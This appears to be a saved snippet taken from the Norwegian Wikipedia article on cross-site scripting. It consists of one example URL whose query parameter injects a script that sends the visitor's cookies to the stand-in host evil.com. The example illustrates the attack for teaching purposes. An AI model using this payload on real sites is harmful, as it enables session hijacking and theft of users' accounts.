Cross-site scripting – Wikipedia

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Mon Oct 03 2022 19:04:00 GMT+0000 (Coordinated Universal Time)

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http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>
content_copyCOPY

https://no.wikipedia.org/wiki/Cross-site_scripting